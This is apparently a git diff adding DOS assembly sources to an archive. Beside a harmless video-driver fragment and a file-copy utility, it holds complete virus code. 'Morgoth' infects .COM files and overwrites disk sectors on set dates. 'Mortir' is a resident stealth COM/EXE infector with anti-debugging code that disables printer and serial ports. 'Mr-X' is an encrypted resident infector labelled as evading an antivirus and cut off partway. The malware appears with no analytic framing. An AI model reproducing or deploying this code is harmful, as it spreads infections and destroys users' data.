AX,1 ; Increment for writes + +DoWriteChar: Call AddrConvert ; Convert the address + Les DI,DWord Ptr [ScreenAddress] ; Get video address + Cld + Pop CX ; Get back character count + Jcxz WriteCharEnd ; Do nothing if no characters + +CharacterLoop: Movsb ; Write character to display + Add DI,AX ; Increment address + Loop CharacterLoop ; Do it CX times + +WriteCharEnd: Ret +WriteChar EndP + +; Call 6 -- Draw Block -- BX,DX = Rows; AX,CX = Columns +; -------------------- + +DrawBlock Proc Far + Call ColConvertRnd ; AX now first char col + Xchg AX,CX ; Switch with 2nd graph col + Call ColConvertRnd ; AX now 2nd char col + Cmp AX,CX ; Compare two char cols + Je DrawBlockEnd ; End routine if the same + Ja NowDoRow ; If CX lowest, just continue + + Xchg AX,CX ; Otherwise switch them + +NowDoRow: Xchg AX,BX ; AX now 1st graph row + Call RowConvertRnd ; AX now 1st char row + Xchg AX,DX ; AX now 2nd graph row + Call RowConvertRnd ; AX now 2nd char row + Cmp AX,DX ; Compare two character columns + Je DrawBlockEnd ; End routine if the same + Ja BlockRowLoop ; If DX lowest, just continue + + Xchg AX,DX ; Otherwise switch them + +BlockRowLoop: Push CX ; Beginning Column + Push BX ; Ending Column + +BlockColLoop: Call CalcOffset ; Calculate screen address + Les DI,DWord Ptr [ScreenAddress] ; And set ES:DI + + Push Word Ptr [CurrentColor] ; Push the current color + Pop ES:[DI] ; And Pop it on the screen + + Inc CX ; Next Column + Cmp CX,BX ; Are we an end? + Jb BlockColLoop ; Nope -- loop again + + Pop BX ; Get back beginning col + Pop CX ; And the end + + Inc DX ; Prepare for next row + Cmp DX,AX ; Are we at the end? + Jb BlockRowLoop ; If not, loop + +DrawBlockEnd: Ret +DrawBlock EndP + + Org $ + 16 - (($ - Beginning) Mod 16) +EndDriver Label Byte + +CSEG EndS + End + \ No newline at end of file diff --git a/m/MORGOTH.ASM b/m/MORGOTH.ASM new file mode 100755 index 0000000..e6aa5b4 --- /dev/null +++ b/m/MORGOTH.ASM @@ -0,0 +1,254 @@ +;Ŀ +; Glenns Revenge (Morgoth) +;Ĵ +; This will be a Parasytic Non-Resident .COM infector. +; It will also infect COMMAND.COM. +; +; +; +; +; +; +; This will contain the segment status, original start, pre-defined +; defenitions, and public settings. +; +.MODEL TINY + +Public VirLen,MovLen,PutMsg + +Code Segment para 'Code' +Assume Cs:Code,Ds:Code,Es:Code + + Org 100h + +Signature Equ 0Addeh ; Signature of virus is DEAD! + +BegMonthAct Equ 8 ; Begin Month of activation +EndMonthAct Equ 8 ; End Month of activation +BegDayAct Equ 3 ; Begin Day of activation +EndDayAct Equ 18 ; End Day of activation + +ActString Equ CR,LF,'This Personal Computer has been struck by the uncurable disease that is',CR,LF,'called "The Doom of Morgoth".',CR,LF,EOM + +CR Equ 13 ; Return +LF Equ 10 ; Linefeed +EOM Equ '$' ; Einde Tekst + +Buff1 Equ 0F000h +Buff2 Equ Buff1+2 +VirLen Equ Offset Einde-Offset Begin +MovLen Equ Offset Einde-Offset Mover +Proggie Equ Offset DTA+1Eh + +MinLen Equ Virlen+10 ;Minimale lengte te besmetten programma +MaxLen Equ 0EF00h ; Maximale lengte te besmetten programma + +; +; This will contain only macros, for pieces of code which will be +; used very often. +; + +; +; This part will contain the actual virus code, for searching the +; next victim and infection of it. +; + +Begin: + Jmp Short OverSig ; Sprong naar Oversig vanwege kenmerk + DW Signature ; Herkenningsteken virus +Oversig: + Pushf ;------------------ + Push AX ; Alle registers opslaan voor + Push BX ; later gebruik van het programma + Push CX ; + Push DX ; + Push DS ; + Push ES ; + Push SS ; + Push SI ; + Push DI ;------------------ + + Mov AH,2Ah ;------------------ + Int 21h ; Systeemdatum vergelijken met + Cmp DH,BegMonthAct ; activatiedatum. Als dit gelijk is + Jb InfectPart ; moet word PutMsg aangeroepen, anders + Cmp DH,EndMonthAct ; wordt InfectPart aangeroepen. + Jg InfectPart ; + Cmp DL,BegDayAct ; + Jb InfectPart ; + Cmp DL,EndDayAct ; + Jg InfectPart ;------------------ +PutMsg: Mov AH,09h ; Activatiebericht wordt getoont en + Mov DX,Offset Msg ; de eerste 80 sectoren van de C + Int 21h ; drive worden volgeschreven met + Int 20h ; + Mov AL,2 ; onzin. Computer is vastgelopen : + Mov CX,80 ; RESET! + Mov DX,0 ; + Int 26h ; +Vastgezet: Jmp Vastgezet ;------------------ + +InfectPart: + Mov AX,Sprong ;------------------ + Mov Buf1,AX ; Spronggegevens bewaren om + Mov BX,Source ; besmette programma te starten + Mov Buf2,BX ;------------------ + Mov AH,1Ah ; DTA area instellen op + Lea DX,DTA ; $DTA area + Int 21h ;------------------ +Vindeerst: Mov AH,4Eh ; Zoeken naar 1e .COM file in directory + Mov Cx,1 ; + Lea DX,FindPath ; + Int 21h ;------------------ + Jnc KijkInfected ; Geen gevonden, goto Afgelopen + Jmp Afgelopen ;------------------ +KijkInfected: + Mov DX,DTA+1Ah ;------------------ + Cmp DX,MinLen ; Kijken of programmalengte voldoet + Jb ZoekNext ; aan de eisen van het virus + Mov DX,MaxLen ; (langer dan virus) + Cmp DX,DTA+1Ah ; + Jb ZoekNext ;------------------ +On2: Mov AH,3Dh ; Zo ja , file openen en file handle + Mov AL,2 ; opslaan + Mov DX,Proggie ; + Int 21h ; + Mov FH,AX ;------------------ + Mov BX,AX ; + Mov AH,3Fh ; Lezen 1e 4 bytes van een file met + Mov CX,4 ; een mogelijk kenmerk van het virus + Mov DX,Buff1 ; + Int 21h ;------------------ +Sluiten: Mov AH,3Eh ; File weer sluiten + Int 21h ;------------------ + Mov AX,CS:[Buff2] ; Vergelijken inhoud lokatie Buff1+2 + Cmp AX,Signature ; met Signature. Niet gelijk : Zoeknext + Jz ZoekNext ;------------------ + Jmp Infect +ZoekNext: + Mov AH,4Fh ;------------------ + Int 21h ; Zoeken naar volgende .COM file + Jnc KijkInfected ; Geen gevonden, goto Afgelopen + Jmp Afgelopen ;------------------ + +Infect: + Mov AH,43h ;------------------ + Mov AL,0 ; Eventuele schrijf- + Mov DX,Proggie ; beveiliging weghalen + Int 21h ; van het programma + Mov AH,43h ; + Mov AL,1 ; + And CX,11111110b ; + Int 21h ;------------------ + Mov AH,3Dh ; Bestand openen + Mov AL,2 ; + Mov DX,Proggie ; + Int 21h ;------------------ + Mov FH,AX ; Opslaan op stack van + Mov BX,AX ; datum voor later gebruik + Mov AH,57H ; + Mov AL,0 ; + Int 21h ; + Push CX ; + Push DX ;------------------ + Mov AH,3Fh ; Inlezen van eerste deel van het + Mov CX,VirLen+2 ; programma om later terug te + Mov DX,Buff1 ; kunnen plaatsen. + Int 21h ;------------------ + Mov AH,42H ; File Pointer weer naar het + Mov AL,2 ; einde van het programma + Xor CX,CX ; zetten + Xor DX,DX ; + Int 21h ;------------------ + Xor DX,DX ; Bepalen van de variabele sprongen + Add AX,100h ; in het virus (move-routine) + Mov Sprong,AX ; + Add AX,MovLen ; + Mov Source,AX ;------------------ + Mov AH,40H ; Move routine bewaren aan + Mov DX,Offset Mover ; einde van file + Mov CX,MovLen ; + Int 21h ;------------------ + Mov AH,40H ; Eerste deel programma aan- + Mov DX,Buff1 ; voegen na Move routine + Mov CX,VirLen ; + Int 21h ;------------------ + Mov AH,42h ; File Pointer weer naar + Mov AL,0 ; het begin van file + Xor CX,CX ; sturen + Xor DX,DX ; + Int 21h ;------------------ + Mov AH,40h ; En programma overschrijven + Mov DX,Offset Begin ; met code van het virus + Mov CX,VirLen ; + Int 21h ;------------------ + Mov AH,57h ; Datum van aangesproken file + Mov AL,1 ; weer herstellen + Pop DX ; + Pop CX ; + Int 21h ;------------------ + Mov AH,3Eh ; Sluiten file + Int 21h ;------------------ +Afgelopen: Mov BX,Buf2 ; Sprongvariabelen weer + Mov Source,BX ; op normaal zetten voor + Mov AX,Buf1 ; de Move routine + Mov Sprong,AX ;------------------ + Mov AH,1Ah ; DTA adres weer op normaal + Mov Dx,80h ; zetten en naar de Move + Int 21h ; routine springen + Jmp CS:[Sprong] ;------------------ + +Msg db ActString + +; +; All variables are stored in here, like filehandle, date/time, +; search path and various buffers. +; + +FH DW 0 +FindPath DB '*.COM',0 + +Buf1 DW 0 +Buf2 DW 0 + +Sprong DW 0 +Source DW 0 + +DTA DW 64 DUP(?) + +; +; This will contain the relocator routine, located at the end of +; the ORIGINAL file. This will tranfer the 1st part of the program +; to it's original place. +; +Mover: + Mov DI,Offset Begin ;------------------ + Mov SI,Source ; Verplaatsen van het 1e deel + Mov CX,VirLen-1 ; van het programma, wat achter + Movsb ; deze verplaatsroutine staat. + Rep Movsb ;------------------ + Pop DI ; Opgeslagen registers weer + Pop SI ; terugzetten op originele + Pop SS ; waarde en springen naar + Pop ES ; het begin van het programma + Pop DS ; (waar nu het virus niet meer + Pop DX ; staat) + Pop CX ; + Pop BX ; + Pop AX ; + Popf ; + Mov BX,100h ; + Jmp BX ;------------------ + +; +; Only the end of the virus is stored in here. +; +Einde db 0 + +Code Ends +End Begin + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; diff --git a/m/MORTIR.ASM b/m/MORTIR.ASM new file mode 100755 index 0000000..5590950 --- /dev/null +++ b/m/MORTIR.ASM @@ -0,0 +1,470 @@ +; mortir.asm : Mortir - le virus de francais +; Created with Biological Warfare - Version 0.90 by MnemoniX + +PING equ 0D8FAh +PONG equ 0F2BEh +STAMP equ 17 +MARKER equ 06971h + +code segment + org 0 + assume cs:code,ds:code + +start: + db 0E9h,3,0 ; to virus +host: + db 0CDh,20h,0 ; host program +virus_begin: + push ds es + + call $ + 3 ; BP is instruction ptr. + pop bp + sub bp,offset $ - 1 + + xor ax,ax ; mild anti-trace code + mov es,ax ; kill interrupts 1 & 3 + mov di,6 + stosw + mov di,14 + stosw + + in al,21h ; lock out & reopen keyboard + xor al,2 + out 21h,al + xor al,2 + out 21h,al + + mov ax,PING ; test for residency + int 21h + cmp bx,PONG + je installed + + mov ax,es ; Get PSP + dec ax + mov ds,ax ; Get MCB + + sub word ptr ds:[3],((MEM_SIZE+1023) / 1024) * 64 + sub word ptr ds:[12h],((MEM_SIZE+1023) / 1024) * 64 + mov es,word ptr ds:[12h] + + push cs ; copy virus into memory + pop ds + xor di,di + mov si,bp + mov cx,(virus_end - start) / 2 + 1 + rep movsw + + xor ax,ax ; capture interrupts + mov ds,ax + + mov si,21h * 4 ; get original int 21 + mov di,offset old_int_21 + movsw + movsw + + mov word ptr ds:[si - 4],offset new_int_21 + mov ds:[si - 2],es ; and set new int 21 + +installed: + call activate ; activation routine + + pop es ds ; restore segregs + cmp sp,MARKER ; check for .EXE + je exe_exit + +com_exit: + lea si,[bp + host] ; restore host program + mov di,100h + push di + movsw + movsb + + call fix_regs ; fix up registers + ret ; and leave +exe_exit: + mov ax,ds ; fix up return address + add ax,10h + push ax + add ax,cs:[bp + exe_cs] + mov cs:[bp + return_cs],ax + + mov ax,cs:[bp + exe_ip] + mov cs:[bp + return_ip],ax + + pop ax + add ax,cs:[bp + exe_ss] ; restore stack + cli + mov ss,ax + mov sp,cs:[bp + exe_sp] + + call fix_regs ; fix up registers + sti + + db 0EAh ; back to host program +return_ip dw 0 +return_cs dw 0 + +exe_cs dw -16 ; orig CS:IP +exe_ip dw 103h +exe_sp dw -2 ; orig SS:SP +exe_ss dw -16 + +fix_regs: + xor ax,ax + cwd + xor bx,bx + mov si,100h + xor di,di + xor bp,bp + ret + +; interrupt 21 handler +int_21: + pushf + call dword ptr cs:[old_int_21] + ret + +new_int_21: + cmp ax,PING ; residency test + je ping_pong + cmp ah,11h ; directory stealth + je dir_stealth + cmp ah,12h + je dir_stealth + cmp ah,4Eh ; directory stealth + je dir_stealth_2 + cmp ah,4Fh + je dir_stealth_2 + cmp ah,3Dh ; file open + je file_open + cmp ax,4B00h ; execute program + jne int_21_exit + jmp execute +int_21_exit: + db 0EAh ; never mind ... +old_int_21 dd 0 + +ping_pong: + mov bx,PONG + iret + +dir_stealth: + call int_21 ; get dir entry + test al,al + js dir_stealth_done + + push ax bx es + mov ah,2Fh + int 21h + + cmp byte ptr es:[bx],-1 ; check for extended FCB + jne no_ext_FCB + add bx,7 +no_ext_FCB: + mov ax,es:[bx + 17h] ; check for infection marker + and al,31 + cmp al,STAMP + jne dir_fixed + + sub word ptr es:[bx + 1Dh],VIRUS_SIZE + 3 + sbb word ptr es:[bx + 1Fh],0 +dir_fixed: + pop es bx ax +dir_stealth_done: + iret + +dir_stealth_2: + pushf + call dword ptr cs:[old_int_21] + jc dir_stealth_done_2 + +check_infect2: + push ax bx es + + mov ah,2Fh + int 21h + mov ax,es:[bx + 16h] + and al,31 ; check timestamp + cmp al,STAMP + jne fixed_2 + + sub es:[bx + 1Ah],VIRUS_SIZE + 3 + sbb word ptr es:[bx + 1Ch],0 + +fixed_2: + pop es bx ax + clc ; clear carry +dir_stealth_done_2: + retf 2 + +file_open: + push ax cx di es + call get_extension + cmp [di],'OC' ; .COM file? + jne perhaps_exe ; perhaps .EXE then + cmp byte ptr [di + 2],'M' + jne not_prog + jmp a_program +perhaps_exe: + cmp [di],'XE' ; .EXE file? + jne not_prog + cmp byte ptr [di + 2],'E' + jne not_prog +a_program: + pop es di cx ax + jmp execute ; infect file +not_prog: + pop es di cx ax + jmp int_21_exit + +execute: + push ax bx cx dx si di ds es + + call get_extension ; check filename + cmp es:[di - 3],'DN' ; skip if COMMAND + jne open_file + jmp cant_open + +open_file: + xor ax,ax ; critical error handler + mov es,ax ; routine - catch int 24 + mov es:[24h * 4],offset int_24 + mov es:[24h * 4 + 2],cs + + mov ax,4300h ; change attributes + int 21h + + push cx dx ds + xor cx,cx + call set_attributes + + mov ax,3D02h ; open file + call int_21 + jc cant_open + xchg bx,ax + + push cs ; CS = DS + pop ds + + mov ax,5700h ; save file date/time + int 21h + push cx dx + mov ah,3Fh + mov cx,28 + mov dx,offset read_buffer + int 21h + + cmp word ptr read_buffer,'ZM' ; .EXE? + je infect_exe ; yes, infect as .EXE + + mov al,2 ; move to end of file + call move_file_ptr + + cmp dx,65279 - (VIRUS_SIZE + 3) + ja dont_infect ; too big, don't infect + + sub dx,VIRUS_SIZE + 3 ; check for previous infection + cmp dx,word ptr read_buffer + 1 + je dont_infect + + add dx,VIRUS_SIZE + 3 + mov word ptr new_jump + 1,dx + + mov dx,offset read_buffer ; save original program head + int 21h + + mov ah,40h ; write virus to file + mov cx,VIRUS_SIZE + mov dx,offset virus_begin + int 21h + + xor al,al ; back to beginning of file + call move_file_ptr + + mov dx,offset new_jump ; and write new jump + int 21h + +fix_date_time: + pop dx cx + and cl,-32 ; add time stamp + or cl,STAMP + mov ax,5701h ; restore file date/time + int 21h + +close: + pop ds dx cx ; restore attributes + call set_attributes + + mov ah,3Eh ; close file + int 21h + +cant_open: + pop es ds di si dx cx bx ax + jmp int_21_exit ; leave + + +set_attributes: + mov ax,4301h + int 21h + ret + +dont_infect: + pop cx dx ; can't infect, skip + jmp close + +move_file_ptr: + mov ah,42h ; move file pointer + cwd + xor cx,cx + int 21h + + mov dx,ax ; set up registers + mov ah,40h + mov cx,3 + ret +infect_exe: + cmp word ptr read_buffer[26],0 + jne dont_infect ; overlay, don't infect + + cmp word ptr read_buffer[16],MARKER + je dont_infect ; infected already + + les ax,dword ptr read_buffer[20] + mov exe_cs,es ; CS + mov exe_ip,ax ; IP + + les ax,dword ptr read_buffer[14] + mov exe_ss,ax ; SS + mov exe_sp,es ; SP + mov word ptr read_buffer[16],MARKER + + mov ax,4202h ; to end of file + cwd + xor cx,cx + int 21h + + push ax dx ; save file size + + push bx + mov cl,12 ; calculate offsets for CS + shl dx,cl ; and IP + mov bx,ax + mov cl,4 + shr bx,cl + add dx,bx + and ax,15 + pop bx + + sub dx,word ptr read_buffer[8] + mov word ptr read_buffer[22],dx + mov word ptr read_buffer[20],ax + add dx,100 + mov word ptr read_buffer[14],dx + + pop dx ax ; calculate prog size + + add ax,VIRUS_SIZE + 3 + adc dx,0 + mov cx,512 ; in pages + div cx ; then save results + inc ax + mov word ptr read_buffer[2],dx + mov word ptr read_buffer[4],ax + + mov ah,40h + mov cx,VIRUS_SIZE + 3 + mov dx,offset virus_begin + int 21h + + + mov ax,4200h ; back to beginning + cwd + xor cx,cx + int 21h + + mov ah,40h ; and fix up header + mov cx,28 + mov dx,offset read_buffer + int 21h + jmp fix_date_time ; done + +courtesy_of db '[BW]',0 +signature db 'Mortir - le virus de francais',0 + + +; ********************** +; * Activation Routine * ; Disables LPT1-4 and COM1-4 +; ********************** ; The actual viral payload! + +activate: +main proc near + mov si,0001h ; First argument is 1 + call disable_parallel + mov si,0002h ; First argument is 2 + call disable_parallel + mov si,0003h ; First argument is 3 + call disable_parallel + mov si,0004h ; First argument is 4 + call disable_parallel + mov si,0001h ; First argument is 1 + call disable_serial + mov si,0002h ; First argument is 2 + call disable_serial + mov si,0003h ; First argument is 3 + call disable_serial + mov si,0004h ; First argument is 4 + call disable_serial + +main endp + +disable_parallel proc near + push es ; Save ES + xor ax,ax ; Set the extra segment to + mov es,ax ; zero (ROM BIOS) + shl si,1 ; Convert to word index + mov word ptr [si + 0407h],0 ; Zero LPT port address + pop es ; Restore ES + ret ; Return to caller +disable_parallel endp + +disable_serial proc near + push es ; Save ES + xor ax,ax ; Set the extra segment to + mov es,ax ; zero (ROM BIOS) + shl si,1 ; Convert to word index + mov word ptr [si + 03FEh],0 ; Zero COM port address + pop es ; Restore ES + ret ; Return to caller +disable_serial endp + +vcl_marker db "[VCL]",0 ; VCL creation marker + + ret ; Return to Mortir code + +; ************************** +; * End of Activation Code * +; ************************** + +get_extension: + push ds ; find extension + pop es + mov di,dx + mov cx,64 + mov al,'.' + repnz scasb + ret +int_24: + mov al,3 ; int 24 handler + iret +new_jump db 0E9h,0,0 + +virus_end: +VIRUS_SIZE equ virus_end - virus_begin +read_buffer db 28 dup (?) ; read buffer + +end_heap: + +MEM_SIZE equ end_heap - start + +code ends + end start diff --git a/m/MOVE.ASM b/m/MOVE.ASM new file mode 100755 index 0000000..624ecbd --- /dev/null +++ b/m/MOVE.ASM @@ -0,0 +1,150 @@ +CODE_SEG SEGMENT + ORG 100H ;ORG 100H for a .com file + ASSUME CS:CODE_SEG,DS:CODE_SEG +FIRST: JMP ENTRY ;Skip over data area + COPYRIGHT DB '(C) S. HOLZNER 1984' + TARGET_FCB DB 37 DUP(0) ;FCB at 6CH will be written over + END_FLAG DW 0 ;Flag set after everything read + FILE_SIZE_LO DW 0 ;Low word of file size, in bytes + FILE_SIZE_HI DW 0 ;High word of same + FILE_SIZE_K DW 0 ;Number of Clusters to write + DTA_OFFSET DW 0 ;Used for 1K increments into DTA + COPY_MSG_1 DB 13,10,'Copy $' ;Part 1 of the copy prompt + COPY_MSG_2 DB ' (Y/N)?$' ;And part 2 + FULL_MSG DB 13,10,'Disk Full$' ;Trouble message + +MOVE PROC NEAR ;The main (and only) procedure +ENTRY: MOV CX,32 ;Copy over 1st 32 bytes of default DTA + MOV SI,6CH ; from 6CH into Target_FCB area for + LEA DI,TARGET_FCB ; later use as new file name +REP MOVSB + MOV DX,5CH ;The source FCB + MOV AH,11H ;Check if there is match to source file + INT 21H + CMP AL,0FFH ;0FFH -> No match + JNE QUERY ;Match + JMP OUT ;No Match +QUERY: MOV AH,9H ;Print out prompt message + LEA DX,COPY_MSG_1 + INT 21H + MOV CX,11 ;Print out 11 letters of found file name + MOV BX,81H ;Point to match in default DTA + MOV AH,2 +QLOOP: MOV DL,[BX] ;Get letter of found file's name + INC BX ;Point to next letter + INT 21H + LOOP QLOOP ;Keep going until all 11 printed + MOV AH,9H ;Print out 2nd half of prompt message + LEA DX,COPY_MSG_2 + INT 21H + MOV AH,1 ;Get a 1 character response + INT 21H + CMP AL,'Y' ;Was it a 'Y'? + JE DO_COPY ;Yes, copy the file + CMP AL,'y' ;No...perhaps a 'y'? + JE DO_COPY ;Yes, copy the file + JMP NEXT ;Get next match (if none, leave) +DO_COPY:MOV CX,37 ;Using given target file as a template, + LEA SI,TARGET_FCB ; load its 37 characters into the FCB + MOV DI,0C0H ; for use as real target FCB, checking + CMP BYTE PTR [SI+1],' ' ; for wildcards. First, was DRIVE: given + JNE NLOOP ; as target? No, check wildcards. + PUSH DI ;Yes, fill Target_FCB with wildcard ?'s + PUSH CX ; so found filename will be used + LEA DI,TARGET_FCB + INC DI + MOV CX,11 ;Put in 11 ?'s + MOV AL,'?' +REP STOSB ;Do the fill + POP CX ;Restore counter and dest. pointer + POP DI +NLOOP: MOV BX,0 ;Move given target name into real used + CMP BYTE PTR [SI],'?' ; target FCB at 0C0H. If a wildcard is + JNE CHAR_OK ; found in given filename use corres- + MOV BX,80H ; ponding character in found filename + SUB BX,OFFSET TARGET_FCB ;Wildcard found, adjust source (SI) to + ADD SI,BX ; point to the found filename +CHAR_OK:MOVS [DI],[SI] + SUB SI,BX ;Restore SI if necessary + LOOP NLOOP ;Loop back until for all 11 name char.s + MOV DX,80H ;Target FCB now at 0C0H, source at 80H + MOV AH,0FH ;Use DOS service 15 to open source + INT 21H ;Open source FCB + MOV DX,0C0H ;Use DOS service 12 to create target + MOV AH,16H + INT 21H ;Create target FCB (or if the file + AND END_FLAG,0 ; already exists, zero it and refill it) + MOV BX,80H + 14 + MOV WORD PTR [BX],8000H ;Set record size for source (32K) + MOV BX,80H + 16 ;Get file size from opened source FCB + MOV AX,[BX] + MOV FILE_SIZE_LO,AX ;Store low word of size in FILE_SIZE_LO + ADD BX,2 ;Point to high word + MOV DX,[BX] + MOV FILE_SIZE_HI,DX ;Store high word of size in FILE_SIZE_HI + MOV CX,1024 ;Div DX:AX (High:Low of size) by 1024 + DIV CX + MOV FILE_SIZE_K,AX ;Get file size in rounded-up K (1024) + TEST DX,0FFFFH ;Was it an even K file:Mod(size,1024)=0? + JZ ROUND ;Yes, don't add cluster for file remnant + INC FILE_SIZE_K ;No, add 1 more cluster for remainder +ROUND: MOV BX,0C0H + 14 + MOV WORD PTR [BX],400H ;Set record size for target (1K) +READ: LEA DX,DATA_POINT ;Set up the 32K DTA we'll use + MOV AH,1AH ; at the end of this program + INT 21H + MOV DX,80H ;Point to source FCB to prepare for read + MOV AH,14H + INT 21H ;Do the read of 32K bytes + CMP AL,0 ;AL = 0 if end of file not yet reached + JLE READ_OK + OR END_FLAG,1 ;Have read in the whole file, DTA is +READ_OK:MOV CX,20H ; stuffed with zeroes after end of file + LEA DX,DATA_POINT ;Reset our offset into 32K DTA to the + MOV DTA_OFFSET,DX ; start +WLOOP: MOV DX,0C0H ;Point to target FCB, prepare for write + MOV AH,15H + INT 21H ;Do the write 1K at a time + CMP AL,0 ;Was the write a success? + JE COPY_OK ;Yes, check if done writing + LEA DX,FULL_MSG ;No, assume the disk was full and say so + MOV AH,9H ;Print error string + INT 21H + JMP OUT ;Exit +COPY_OK:DEC FILE_SIZE_K ;Decrement number of clusters to write + JZ FINISH ;Done? + ADD DTA_OFFSET,400H ;No, point to next 1K chunk of DTA + MOV DX,DTA_OFFSET + MOV AH,1AH ;Set DTA to match + INT 21H + LOOP WLOOP ;Repeat until 32K written or end of file + TEST END_FLAG,1 ;Have we read in the end of file? + JZ READ ;No, get next 32K block from source +FINISH: MOV AX,FILE_SIZE_LO ;Now adjust written file's size + MOV BX,0C0H + 16 ;Point to low word of size + MOV WORD PTR [BX],AX ;And set it to the correct value + ADD BX,2 ;Point to high word of size + MOV AX,FILE_SIZE_HI ;And set it too + MOV WORD PTR [BX],AX + MOV AH,10H ;Request DOS service 16, close files + MOV DX,0C0H ;Point to target file's FCB + INT 21H ;Close target with correct size + MOV DX,80H ;Point to source file's FCB + INT 21H ;Close source +NEXT: MOV DX,80H ;Start looking for the next match + MOV AH,1AH ;First, reset DTA to 80H for found file's FCB + INT 21H + MOV AH,12H ;Now search for next match-service 18 + MOV DX,5CH ;Use given filename to match to + INT 21H + CMP AL,0 ;Match found? + JNE OUT ;No, exit. + JMP QUERY ;Yes, ask if it should be copied +OUT: RET + +MOVE ENDP +DATA_POINT: ;The 32K DTA starts here +CODE_SEG ENDS + END FIRST ;'END FIRST' so entry point set to FIRST + + \ No newline at end of file diff --git a/m/MR-X.ASM b/m/MR-X.ASM new file mode 100755 index 0000000..8cf8483 --- /dev/null +++ b/m/MR-X.ASM @@ -0,0 +1,386 @@ +;****************************************************************************** +;****************************************************************************** +;**** Virus: .COM /noTBAV **** +;**** By: Ramthes Jones **** +;****************************************************************************** +;****************************************************************************** +CODE SEGMENT + + ASSUME CS:CODE, DS:CODE, ES:CODE, SS:CODE + ORG 0100h + +DELTA EQU (TWO - ONE) + +START: + JMP VIR_START + NOP + MOV AH,09h + MOV DX,OFFSET MSG + PUSH CS + POP DS + INT 21h + + INT 20h + +MSG DB 0Ah,0Dh,'Virus Mr-X activado!!!',0Ah,0Dh + DB 'Por favor no ejecute ningun archivo. Je, je, je...',0Ah,0Dh,'$' + +VIR_START: +ONE LABEL BYTE + MOV BX,015Dh + PUSH BX + MOV SI,(OFFSET BEGIN - OFFSET ONE) - 1; Conocido + ADD SI,BX + MOV CX,(OFFSET TWO - OFFSET BEGIN) + 1; Conocido + MOV DX,0FFCDh ; FFCD = INT FFh + CLI +BUCLE: + MOV AH,[SI] + XOR AH,00h + DB 06 DUP (90h) + MOV [bx+30],DX + +INTFFh LABEL WORD + MOV [SI],AH + MOV [bx+30],2488h + INC SI + LOOP BUCLE + + STI + JMP ATBV + +JODER: + MOV AH,4Ch + INT 21h + +ATBV: + MOV AH,30h + INT 21h + +BEGIN: + MOV AX,0ACACh + INT 21h + CMP AX,0CACAh + JE RUN_COM + JMP STAY_IN_MEMO + +RUN_COM: + PUSH CS + PUSH CS + POP DS + POP ES + POP BX + MOV DI,100h + LEA SI,[(NORMAL - OFFSET ONE) + BX] + MOVSW + MOVSB + PUSH CS + PUSH 0100h + RETF + +STAY_IN_MEMO: + MOV AH,4Ah + XOR BX,BX + INT 21h + + MOV AH,4Ah + MOV BX,0FFFFh + INT 21h + + SUB BX,61h ;101h + MOV AH,4Ah + INT 21h + + MOV AH,48h + MOV BX,60h ;100h + INT 21h + + MOV ES,AX + PUSH ES + DEC AX + MOV ES,AX + MOV ES:WORD PTR [0001h], 0008h + POP ES + + PUSH CS + POP DS + + POP SI + PUSH SI + XOR DI,DI + MOV CX,DELTA + CLD + REP MOVSB + + PUSH ES + POP DS + + MOV AX,3521h + INT 21h + POP SI + PUSH SI + MOV DS:[INT21IP - OFFSET ONE],BX + MOV DS:[INT21CS - OFFSET ONE],ES + + MOV AX,2521h + MOV DX,(OFFSET HOOK_21 - OFFSET ONE) + INT 21h + JMP RUN_COM + +HOOK_21 PROC FAR + PUSH DS + PUSHF + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH SI + PUSH DI + PUSH DS + PUSH ES + + CMP AX,4B00h + JE INFECT_COM + CMP AX,0ACACh + JE GIVE_MARK + JMP FIN + +GIVE_MARK: + POP ES + POP DS + POP DI + POP SI + POP DX + POP CX + POP BX + POP AX + POPF + POP DS + MOV AX,0CACAh + IRET + +INFECT_COM: + PUSH AX + PUSH BX + PUSH DX + PUSH DS + PUSH ES + + MOV AX, CS + MOV DS, AX + MOV AX,3524h + PUSHF + CALL DWORD PTR DS:[INT21IP - OFFSET ONE] + MOV DS:[INT24IP - OFFSET ONE],BX + MOV DS:[INT24CS - OFFSET ONE],ES + + MOV AX,2524h + MOV DX,(OFFSET HOOK_24 - OFFSET ONE) + PUSHF + CALL DWORD PTR DS:[INT21IP - OFFSET ONE] + POP ES + POP DS + POP DX + POP BX + POP AX + + PUSH DX + + MOV AX,4300h + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + MOV CS:[(ATRIBUTOS - OFFSET ONE)],CX + + MOV AX,4301h + MOV CX,20h + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + JC FINAL_1 + + MOV AX,3D02h + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + PUSH AX + POP BX + + MOV AH,3Fh + MOV CX,2 + PUSH CS + POP DS + MOV DX,(OFFSET NORMAL - OFFSET ONE) + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + + XOR SI,SI + mov ax,cs:(normal - offset one)[si] + cmp ax,'ZM' + je final_1 + jmp conti + +FINAL_1: + JMP FINAL + +CONTI: + MOV AX,5700h + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + MOV CS:[(HORA - OFFSET ONE)],CX + MOV CS:[(FECHA - OFFSET ONE)],DX + + AND CL,00011111b ; Esto es lo correcto para comprobar + CMP CL,00001101b ; si los segundos son 26 + JE FINAL_1 + + XOR AL,AL + CALL F_42h + + MOV AH,3Fh + MOV CX,3 + PUSH CS + POP DS + MOV DX,(OFFSET NORMAL - OFFSET ONE) + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + + MOV AL,02h + CALL F_42h + PUSH AX + + SUB AX,3 + + MOV SI,1 + MOV CS:(BUFFER - OFFSET ONE)[SI],AL + INC SI + MOV CS:(BUFFER - OFFSET ONE)[SI],AH + + PUSH BX + MOV AH,48h + MOV BX,150h + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + MOV ES,AX + POP BX + + PUSH CS + POP DS + + XOR SI,SI + MOV DI,SI + MOV CX,OFFSET TWO - OFFSET ONE + CLD + REP MOVSB + + PUSH ES + POP DS + + POP AX ; Calculo + INC AH ; la direccion + XOR SI,SI ; donde va a + MOV [SI + 1],AL ; comenzar el + MOV [SI + 2],AH ; arch infectado + + MOV AH,2Ch + PUSHF + CALL DWORD PTR CS:[INT21IP - OFFSET ONE] + MOV [SI+20],DL + + MOV CX,(OFFSET TWO - OFFSET BEGIN) + 1 + MOV 